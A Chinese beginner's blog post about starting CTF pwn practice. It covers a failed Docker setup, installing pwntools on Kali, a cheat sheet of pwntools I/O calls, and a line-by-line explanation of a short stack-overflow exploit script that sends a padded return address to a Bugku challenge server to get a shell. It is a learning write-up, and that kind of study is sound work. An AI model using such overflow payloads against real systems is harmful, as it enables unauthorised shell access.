前言
环境配置真的烦人…不说了泪目。
pwn第二天本来计划继续学栈溢出的,但南邮比赛今晚九点开始,于是先把pwn的环境配置好了再说。
按照网上各种教程结果乱七八糟的不知道怎么弄…
失败过很多次。于是把自己的经验写在这里吧。
今天一天都用来配置环境了= =
(主要是我想弄docker)
而且踩的坑太多太多,我已经无力了
安装docker——失败
然后运行到helloword出错,解决方法
然后后面导入镜像和使用docker失败了= =
还去阿里云搞了个仓库 然后发现这个是用来搭建环境的,也就是模拟真题,与出题有关orz
于是先放弃,先搭建pwntools好了
安装pwntool
在kali中安装pwntools,安装完成后输入python进入python环境,使用from pwn import * 导入pwntools库
pwntool安装和使用的一些语句
https://www.jianshu.com/p/355e4badab50 such as
本地 :sh = porcess("./level0")
远程:sh = remote("127.0.0.1",10001)
关闭连接:sh.close()
sh.send(data) 发送数据
sh.sendline(data) 发送一行数据,相当于在数据后面加\n
sh.recv(numb = 2048, timeout = dufault) 接受数据,numb指定接收的字节,timeout指定超时
sh.recvline(keepends=True) 接受一行数据,keepends为是否保留行尾的\n
sh.recvuntil("Hello,World\n",drop=fasle) 接受数据直到我们设置的标志出现
sh.recvall() 一直接收直到EOF
sh.recvrepeat(timeout = default) 持续接受直到EOF或timeout
sh.interactive() 直接进行交互,相当于回到shell的模式,在取得shell之后使用
练手
放这里,拿几道题目练练手。
bugku的pwn2是栈溢出
用ida打开f5查看伪代码如下
网上wp脚本如下
from pwn import *
sh = remote("114.116.54.89", 10003)
print sh.recv()
payload="A" * 0x38 + p64(0x400751)
sh.sendline(payload)
sh.interactive()
一句句分析。sh = remote("114.116.54.89", 10003)
对照脚本即获取nc端口地址,进行远程连接
print sh.recv()
读取数据
payload="A" * 0x38 + p64(0x400751)
这句便是栈溢出的精髓了,构造payload,38个A是因为前面定义s的地址指针是rbp-30,64位的返回地址通常是rbp+8,加起来是38,所以弄三十八个覆盖掉,然后eip刚好就可以输入p64(0x400751)也就是这里
get shell的地址。
sh.sendline(payload)
发送这一行数据,这里相当于在nc端口终端输入了构造好的语句。同时也有个很重要的地方,就是read读取可以达到100,如果read只能读取30那栈溢出就没用了,就会自己截断掉。
最后sh.interactive()
取得shell